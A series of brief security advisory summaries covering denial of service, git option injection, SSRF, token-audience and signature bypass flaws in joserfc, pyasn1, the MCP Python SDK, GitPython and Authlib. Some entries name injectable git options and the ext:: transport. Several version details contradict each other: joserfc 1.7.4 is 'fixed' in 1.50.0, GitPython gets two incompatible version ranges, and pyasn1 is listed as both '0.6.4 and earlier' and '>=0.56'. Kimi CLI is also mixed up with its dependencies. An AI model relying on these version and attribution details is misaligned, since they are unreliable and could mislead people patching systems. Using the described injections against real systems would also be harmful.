joserfc 1.7.4 has a vulnerability in its compact JWS size guard where it allocates attacker-controlled segments before rejecting oversized inputs. This occurs because the library calls bytes.split() on the input before validating its size, causing an additional allocation roughly equal to the payload size. The issue leads to increased memory usage prior to rejection but does not prevent transport-layer large headers. The vulnerability has a CVSS 4.0 score of 6.9 (medium severity).
The joserfc library's decrypt_json() function for JWE General JSON Serialization accepts an unbounded recipients array, performing an RSA private-key decryption operation for every recipient without limit. This allows an unauthenticated attacker to cause CPU exhaustion (Denial of Service) by sending a single JWE JSON with many recipients, leading to a linear increase in server CPU usage proportional to the recipient count. The library caps sizes of other JWE components but does not limit the number of recipients. The documented mitigation option verify_all_recipients=False does not reduce CPU usage, as all recipients are decrypted regardless. This vulnerability is tracked as CVE-2026-119283 with a CVSS 3.1 score of 7.5 (High). A fix is available in joserfc version 1.50.0.
CVE-2026-119197 is a denial-of-service vulnerability in pyasn1 versions 0.6.4 and earlier affecting the decoding of binary-encoded ASN.1 REAL values with large mantissas. The decoding process has quadratic time complexity due to inefficient byte-wise processing, causing excessive CPU consumption. This impacts BER, CER, and DER decoders that use the vulnerable RealPayloadDecoder. The vulnerability allows an attacker who can supply crafted ASN.1 input containing REAL values to cause CPU exhaustion during decoding. The issue is fixed in pyasn1 version 0.6.5 by replacing the inefficient loop with a more efficient integer conversion. Until patched, applications should limit or reject attacker-controlled ASN.1 input with REAL values.
CVE-2026-119196 affects pyasn1 through version 0.6.4, where decoding constructed BIT STRING values with many fragments causes quadratic CPU consumption due to repeated shifting and copying of accumulated data. This can lead to CPU exhaustion and denial of service if attacker-controlled ASN.1 data with many fragments is decoded. The vulnerability impacts BER and CER decoders, and a permissive schema-driven DER decoder path. No confidentiality or integrity impact is reported. The CVSS v3.1 base score is 7.5 (high severity).
A denial of service vulnerability exists in pyasn1 version 0.6.4 and earlier, affecting the decoding of constructed OCTET STRINGs and indefinite-length ANY types. The decoder's string reassembly process exhibits quadratic time complexity due to repeated copying of accumulated fragments, leading to excessive CPU consumption. This can be exploited by an attacker supplying crafted ASN.1 input to cause CPU exhaustion. The issue affects BER and CER decoding paths and certain non-conforming DER inputs. No confidentiality or integrity impact is reported.
CVE-2026-119194 is a high-severity vulnerability in the pyasn1 library used by kimi-cli, where schemaless decoding of BER, CER, or DER data with many distinct long tag IDs causes quadratic CPU usage. This can lead to excessive CPU consumption and reduced availability when processing attacker-controlled inputs. The vulnerability affects versions >=0.56. No confidentiality or integrity impacts have been observed.
The Kimi CLI tool's use of Authlib's RFC 7592 client configuration endpoint contains a security flaw where example code omits verifying that the registration_access_token belongs to the client being accessed. This omission allows an attacker with any valid registration_access_token and knowledge of a client_id to bypass authorization and read, update, or delete that client's registration. The vulnerability affects versions 0.40 and later. The flaw arises because the documented example implementations do not bind the token to the target client, contrary to the protocol's security model. This leads to a high-severity authorization bypass.
The Model Context Protocol (MCP) Python SDK client versions 1.10.0 through 1.29.1 and 2.0.0 through 2.1.1 have a vulnerability where the client fetches server-chosen $ref URLs during tool output schema validation. This causes the client to synchronously fetch external HTTP, HTTPS, or local file references without timeout, potentially freezing the client session. The issue affects applications using the SDK as a client calling tools on untrusted servers. Fixed in versions 1.30.0 and 2.2.0.
The Model Context Protocol (MCP) Python SDK versions 1.8.0 through 1.29.1 and 2.0.0 through 2.1.1 have a vulnerability where their HTTP client transports follow cross-origin HTTP redirects and send custom headers and, on certain redirects, the request body to the redirected host. This can expose sensitive headers like API keys to unintended origins if the trusted endpoint redirects to a different host. The SDK now restricts redirects to the same origin or an http-to-https upgrade on the same host. Fixed in versions 1.30.0 and 2.2.0.
The Model Context Protocol (MCP) Python SDK versions 1.10.0 through 1.29.1 and 2.0.0 through 2.1.1 have a vulnerability in server-side bearer-token authentication. The SDK does not verify that a token's audience matches the intended server, allowing tokens issued for other services by the same authorization server to be accepted. This can lead to unauthorized access if tokens for different services are accepted. Fixed in versions 1.30.0+ and 2.2.0+, but enabling the audience check requires configuration changes. If upgrading is not possible, manual audience verification is recommended.
GitPython's Submodule.move() API does not properly handle symbolic links in intermediate path components, allowing an attacker-controlled symlink to redirect submodule moves outside the parent repository worktree. This can cause the submodule checkout to be moved to an attacker-chosen directory outside the intended repository, corrupting the repository's index and configuration. The vulnerability requires the attacker to control the cloned repository and commit a symlink, but no code execution or file overwrite was demonstrated.
GitPython versions up to 3.1.62 contain a vulnerability in the Head.checkout() method where the branch name, passed as a positional argument, is not properly sanitized. This allows an attacker controlling a repository's default branch name to inject Git command options such as --pathspec-from-file, leading to arbitrary file reads on the host system. The vulnerability arises because the method only guards keyword arguments against unsafe Git options, leaving the positional branch name unchecked. This flaw was incompletely fixed in prior advisories and remains exploitable by simply cloning a malicious repository and checking out its default branch.
A command injection vulnerability exists in the kimi-cli GitPython Remote.pull() method where the positional refspec argument bypasses the unsafe-option guard, allowing an attacker to execute arbitrary commands. This occurs because the unsafe-option check only inspects keyword arguments, not the positional refspec, enabling injection of a malicious --upload-pack option. Exploitation requires the remote to use a local-path or SSH transport, which executes the attacker-supplied command with the privileges of the calling process. The vulnerability affects kimi-cli versions from 1.11.0 up to but not including 1.50.0 and has been assigned CVE-2026-110858 with a high severity CVSS score of 8.1. A fix is available in version 1.50.0.
Kimi CLI's GitPython command wrappers omit critical checks for unsafe protocols and options in three methods: Git.ls_remote, Repo.merge_base, and IndexFile.move. This omission allows potential remote code execution (RCE) via the 'ext::' transport protocol if the victim's git configuration permits it, particularly in environments with git versions prior to 2.38.1. The vulnerability is confirmed on the main branch post the latest release and affects versions from 1.11.0 up to but not including 1.50.0. A patch is available in version 1.50.0.
Kimi CLI versions from 1.11.0 up to but not including 1.50.0 contain a vulnerability in the GitPython parse_actor_and_date() function. The issue is due to a regex pattern that causes quadratic backtracking when parsing malformed author/committer/tagger identity lines missing or having malformed trailing epoch or timezone data. This results in CPU exhaustion when processing crafted commit or tag objects. The vulnerability was fixed in version 1.50.0 by modifying the regex to eliminate overlapping matches and prevent excessive backtracking.
GitPython versions >=1.11.0 and <1.50.0 contain a vulnerability in the handling of the separate_git_dir parameter during cloning. The flaw allows environment variable expansion from attacker-controlled .gitmodules submodule names, leading to leakage of environment variable values on disk and in debug logs. This occurs because the polish_url function expands environment variables without disabling this behavior for untrusted input. The vulnerability is fixed in version 1.50.0.
Authlib versions prior to 1.9.0 contain a critical signature verification bypass vulnerability in the JsonWebSignature.deserialize_json() method. This flaw allows an attacker to submit a JSON Web Signature (JWS) object with an empty 'signatures' array, which the method incorrectly accepts as valid without verifying any signature or requiring a cryptographic key. This results in an authentication bypass where attacker-controlled payloads are accepted as legitimately signed. The issue arises because the validation flag is initialized to true and only set to false inside a loop that does not execute if the signatures array is empty. This vulnerability is fixed by rejecting empty signatures arrays or properly initializing the validation flag based on the presence of signatures.
Authlib's implementation of the RFC 9101 JWT-secured authorization request (JAR) extension allows an unauthenticated Server-Side Request Forgery (SSRF) due to unvalidated use of the request_uri parameter. The extension passes the attacker-controlled request_uri directly to a fetch hook without enforcing the existing allowlist or other recommended controls, enabling SSRF at a pre-authentication endpoint. This affects Authlib version 1.7.2 and the current main branch.
Authlib's OpenID Connect implicit grant implementation contains a flaw where it checks the raw, client-supplied scope instead of the filtered allowed scope before issuing ID tokens. This allows a registered OAuth client that is not permitted the 'openid' scope but allowed other claim-bearing scopes like 'profile' to obtain a signed ID token if the user consents. The issue affects deployments using the OpenID implicit grant and clients permitted 'id_token' response types but not the 'openid' scope. The impact is limited by the need for user consent and client registration. The vulnerability does not affect authorization code flow deployments or those where clients allowed 'id_token' response types also have the 'openid' scope.
Authlib's default implementation of the RFC 7523 JWT bearer grant does not properly validate the audience ('aud') claim in JWT assertions. Instead of verifying that the 'aud' claim matches the authorization server's token endpoint, it only checks for its presence. This allows an attacker with a valid JWT issued for any audience to use it against a different authorization server sharing the same signing key and obtain an access token improperly.